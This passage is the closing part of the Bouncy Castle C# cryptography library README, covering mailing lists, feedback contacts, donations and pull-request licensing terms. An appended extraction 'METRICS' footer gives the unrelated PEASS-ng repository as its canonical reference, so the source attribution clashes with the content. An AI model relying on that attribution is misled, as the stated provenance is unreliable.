FIPS version please contact us directly at [office@bouncycastle.org](mailto:office@bouncycastle.org). ## Mailing Lists For those who are interested, there are 2 mailing lists for participation in this project. To subscribe use the links below and include the word subscribe in the message body. (To unsubscribe, replace **subscribe** with **unsubscribe** in the message body) * [announce-crypto-csharp-request@bouncycastle.org](mailto:announce-crypto-csharp-request@bouncycastle.org) This mailing list is for new release announcements only, general subscribers cannot post to it. * [dev-crypto-csharp-request@bouncycastle.org](mailto:dev-crypto-csharp-request@bouncycastle.org) This mailing list is for discussion of development of the package. This includes bugs, comments, requests for enhancements, questions about use or operation. **NOTE:**You need to be subscribed to send mail to the above mailing list. ## Feedback If you want to provide feedback directly to the members of **The Legion** then please use [feedback-crypto@bouncycastle.org](mailto:feedback-crypto@bouncycastle.org), if you want to help this project survive please consider [donating](https://www.bouncycastle.org/donate). For bug reporting/requests you can report issues here on github, via feedback-crypto if required. We will accept pull requests based on this repository as well, but only on the basis that any code included may be distributed under the [Bouncy Castle License](https://www.bouncycastle.org/licence.html). ## Finally Enjoy! --- --- METRICS --- - Files Extracted: 10 - Estimated Token Budget: ~11887 tokens - Canonical Reference: https://codewiki.google/github.com/peass-ng/PEASS-ng